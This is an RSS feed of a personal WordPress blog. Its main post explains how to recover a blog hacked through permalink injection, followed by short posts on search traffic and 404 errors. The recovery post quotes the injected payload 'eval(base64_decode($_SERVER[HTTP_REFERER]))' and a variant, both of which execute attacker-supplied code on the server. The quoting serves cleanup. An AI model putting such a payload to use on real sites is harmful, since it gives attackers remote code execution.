<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EyedMax's Pit &#187; SEO</title>
	<atom:link href="http://eyedmax.com/tag/seo/feed/" rel="self" type="application/rss+xml" />
	<link>http://eyedmax.com</link>
	<description>Yeah, you're right. It's me ;)</description>
	<lastBuildDate>Sat, 05 Sep 2009 00:44:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
  <link>http://eyedmax.com</link>
  <url>http://eyedmax.com/favicon.ico</url>
  <title>EyedMax's Pit</title>
</image>
		<item>
		<title>What to do if your blog was hacked by evil eval</title>
		<link>http://eyedmax.com/2009/09/05/what-to-do-if-your-blog-was-hacke/</link>
		<comments>http://eyedmax.com/2009/09/05/what-to-do-if-your-blog-was-hacke/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 00:44:23 +0000</pubDate>
		<dc:creator>eyedmax</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Optimisation]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Tweak]]></category>

		<guid isPermaLink="false">http://eyedmax.com/?p=210</guid>
		<description><![CDATA[Weird things happens. Mostly in WordPress. One morning you see that your permalinks became a something like this:

blah/%&#38;&#40;&#123;$&#123;eval&#40;base64_decode&#40;$_SERVER&#91;HTTP_REFERER&#93;&#41;&#41;&#125;&#125;&#124;.+&#41;&#38;%/

Or this:

“/%&#38;&#40;%7B$%7Beval&#40;base64_decode&#40;$_SERVER%5BHTTP_EXECCODE%5D&#41;&#41;%7D%7D&#124;.+&#41;&#38;%

Or your feed crapped like this:

error on line 22 at column 71: xmlParseEntityRef: no name wordpress

Do not panic &#8211; you&#8217;re hacked. And there is three steps to get rid of it.
1) Restore your permalinks
Go to Admin panel [...]]]></description>
			<content:encoded><![CDATA[<p>Weird things happens. Mostly in WordPress. One morning you see that your permalinks became a something like this:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">blah<span style="color: #339933;">/%&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>$<span style="color: #009900;">&#123;</span><span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>base64_decode<span style="color: #009900;">&#40;</span>$_SERVER<span style="color: #009900;">&#91;</span>HTTP_REFERER<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">|</span>.<span style="color: #339933;">+</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;%/</span></pre></div></div>

<p>Or this:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">“<span style="color: #339933;">/%&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">%</span>7B$<span style="color: #339933;">%</span>7Beval<span style="color: #009900;">&#40;</span>base64_decode<span style="color: #009900;">&#40;</span>$_SERVER<span style="color: #339933;">%</span>5BHTTP_EXECCODE<span style="color: #339933;">%</span>5D<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>7D<span style="color: #339933;">|</span>.<span style="color: #339933;">+</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;%</span></pre></div></div>

<p>Or your feed crapped like this:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">error on line 22 at column 71: xmlParseEntityRef: no name wordpress</pre></div></div>

<p>Do not panic &#8211; you&#8217;re hacked. And there is three steps to get rid of it.</p>
<p><strong>1) Restore your permalinks</strong><br />
Go to <em>Admin panel</em> -> <em>Settings</em> -> <em>Permalinks</em>.<br />
Set your permalink structure to whatever it was earlier. If you don&#8217;t even imagine what it was &#8211; you can always ask google for it &#8211; just like this: <strong>site:yourblogurl.com</strong> &#8211; and you&#8217;ll see the answer in the links to your site.</p>
<p><strong>2) Kill the intruder(s)</strong><br />
Go to your preferred mysql administration tool (say, MySqlAdmin) and run this code in the SQL window:</p>

<div class="wp_syntax"><div class="code"><pre class="mysql" style="font-family:monospace;"><span style="color: #990099; font-weight: bold;">SELECT</span> <span style="color: #CC0099;">*</span> <span style="color: #990099; font-weight: bold;">FROM</span> <span style="color: #008000;">`wp<span style="color: #008080; font-weight: bold;">_</span>usermeta`</span>
<span style="color: #990099; font-weight: bold;">WHERE</span> <span style="color: #008000;">`meta<span style="color: #008080; font-weight: bold;">_</span>value`</span> <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>script<span style="color: #008080; font-weight: bold;">%</span>'</span></pre></div></div>

<p>You&#8217;ll see the list of records, write down <strong>user_id</strong>s of those guys.<br />
Go to <em>Admin panel</em> -> <em>Users</em> -> <em>Authors &#038; Users</em>, copy the <strong>edit</strong> link for any user, it&#8217;ll be somethings like:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://yourblogurl.com/wp-admin/user-edit.php?user_id=14&amp;wp_http_referer=%2Fwp-admin%2Fusers.php</pre></div></div>

<p>Then paste it into address line, and change user_id=<strong>XX</strong> to the first user_id you wrote. Go.<br />
Replace <strong>First name</strong> with whatever you want (for example &#8220;z&#8221;), insert &#8220;motherfncker@test.com&#8221; into <strong>Email</strong> field (or whatever, but remember it, you&#8217;ll need it later) and set the <strong>Role</strong> into <em>Subscriber</em>. Push Update user. Then repeat with the next one in your <strong>user_id</strong>s list. After you finished &#8211; just type in into the search line word &#8220;motherfncker&#8221; (or whatever you set emails to). Now &#8211; just <strong>delete</strong> bastards!</p>
<p><strong>3) Defend the base</strong><br />
Just upgrade your wordpress. If you will do it periodically &#8211; there will be no such problems at all!</p>
<p><strong>If you do not have ability to use some SQL tool &#8211; you can try to blind find bastards:</strong><br />
Go to <em>Admin panel</em> -> <em>Users</em> -> <em>Authors &#038; Users</em><br />
Note the number of Admin users (right under &#8220;Users&#8221; header). One of them is you, all others &#8211; bastard ones <img src='http://eyedmax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Try to find max. <em>user_id</em> in the list by hovering your mouse over links. Then copy the edit link of the user with topmost ID, insert it into address line, change it to next number and go. Did not work? Try the next number. Or previous one. You can even loop through all IDs not in use. And when you&#8217;ll find him &#8211; you know what to do! </p>
<img src="http://eyedmax.com/?ak_action=api_record_view&id=210&type=feed" alt="" />
	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://eyedmax.com/2009/01/03/wordpress-dashboard-problem-fix/" title="WordPress Dashboard problem fix (January 3, 2009)">WordPress Dashboard problem fix</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/06/22/wordpress-221/" title="WordPress 2.2.1 (June 22, 2007)">WordPress 2.2.1</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/04/25/wordpress-2-updated/" title="WordPress 2 updated (April 25, 2007)">WordPress 2 updated</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/07/20/war-against-spam-wasp/" title="War Against SPam &#8211; WASP! (July 20, 2007)">War Against SPam &#8211; WASP!</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/07/20/war-against-spam-step-two/" title="War Against SPam &#8211; step two! (July 20, 2007)">War Against SPam &#8211; step two!</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://eyedmax.com/2009/09/05/what-to-do-if-your-blog-was-hacke/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What happened to the daily show</title>
		<link>http://eyedmax.com/2007/07/20/what-happened-to-the-daily-show/</link>
		<comments>http://eyedmax.com/2007/07/20/what-happened-to-the-daily-show/#comments</comments>
		<pubDate>Fri, 20 Jul 2007 13:13:34 +0000</pubDate>
		<dc:creator>eyedmax</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://eyedmax.com/2007/07/20/what-happened-to-the-daily-show/</guid>
		<description><![CDATA[Many people wanna know, what happened to the daily show. And know what? I know that they do from my web-server&#8217;s logs.
So I must answer fairly &#8211; I don&#8217;t know. I really do not have any idea, what happened to the daily show.
That&#8217;s the answer  

	Related posts
	
	Star Wars image experiment (0)
	Hello, cruel world! (0)
	BlogJet [...]]]></description>
			<content:encoded><![CDATA[<p>Many people wanna know, what happened to the daily show. And know what? I know that they do from my web-server&#8217;s logs.</p>
<p>So I must answer fairly &#8211; I don&#8217;t know. I really do not have any idea, what happened to the daily show.</p>
<p>That&#8217;s the answer <img src='http://eyedmax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://eyedmax.com/?ak_action=api_record_view&id=49&type=feed" alt="" />
	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://eyedmax.com/2009/01/17/star-wars-image-experiment/" title="Star Wars image experiment (January 17, 2009)">Star Wars image experiment</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/01/22/hello-world/" title="Hello, cruel world! (January 22, 2007)">Hello, cruel world!</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/07/31/blogjet/" title="BlogJet (July 31, 2007)">BlogJet</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/07/21/blogdesk-software/" title="BlogDesk software (July 21, 2007)">BlogDesk software</a> (1)</li>
	<li><a href="http://eyedmax.com/2007/03/22/blog-adress-changed-now-its-eyedmaxcom/" title="Blog adress changed &#8211; now it&#8217;s eyedmax.com (March 22, 2007)">Blog adress changed &#8211; now it&#8217;s eyedmax.com</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://eyedmax.com/2007/07/20/what-happened-to-the-daily-show/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>404 in logs</title>
		<link>http://eyedmax.com/2007/07/20/404-in-logs/</link>
		<comments>http://eyedmax.com/2007/07/20/404-in-logs/#comments</comments>
		<pubDate>Fri, 20 Jul 2007 12:22:16 +0000</pubDate>
		<dc:creator>eyedmax</dc:creator>
				<category><![CDATA[Optimisation]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Web Server]]></category>

		<guid isPermaLink="false">http://eyedmax.com/2007/07/20/404-in-logs/</guid>
		<description><![CDATA[I hate 404s. I use awstats to watch my logs, and I hate when it shows some 404s&#8230;
I can tolerate some virus-generated URLs but when I see this &#8220;/feed%3Ahttp%3A//eyedmax.com/feed/&#8220;or search bot asking me for robots.txt or favicon.ico (and I haven&#8217;t one) &#8211; I can blow up.
My advices to all webmasters are following:

put all common files [...]]]></description>
			<content:encoded><![CDATA[<p>I hate 404s. I use <strong>awstats</strong> to watch my logs, and I hate when it shows some 404s&#8230;</p>
<p>I can tolerate some virus-generated URLs but when I see this &#8220;<strong>/feed%3Ahttp%3A//eyedmax.com/feed/</strong>&#8220;or search bot asking me for robots.txt or favicon.ico (and I haven&#8217;t one) &#8211; I can blow up.</p>
<p>My advices to all webmasters are following:</p>
<ul>
<li>put all common files (including index.html, robots.txt and favicon.ico) to your site</li>
<li>validate the code for &#8220;strange&#8221; URLs</li>
<li>analyze log files</li>
<li>use the automatically generated site map</li>
</ul>
<p><strong>Don&#8217;t trouble Google &#8217;till Google troubles you!</strong></p>
<img src="http://eyedmax.com/?ak_action=api_record_view&id=48&type=feed" alt="" />
	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://eyedmax.com/2009/01/17/star-wars-image-experiment/" title="Star Wars image experiment (January 17, 2009)">Star Wars image experiment</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/01/22/hello-world/" title="Hello, cruel world! (January 22, 2007)">Hello, cruel world!</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/07/31/blogjet/" title="BlogJet (July 31, 2007)">BlogJet</a> (0)</li>
	<li><a href="http://eyedmax.com/2007/07/21/blogdesk-software/" title="BlogDesk software (July 21, 2007)">BlogDesk software</a> (1)</li>
	<li><a href="http://eyedmax.com/2007/03/22/blog-adress-changed-now-its-eyedmaxcom/" title="Blog adress changed &#8211; now it&#8217;s eyedmax.com (March 22, 2007)">Blog adress changed &#8211; now it&#8217;s eyedmax.com</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://eyedmax.com/2007/07/20/404-in-logs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
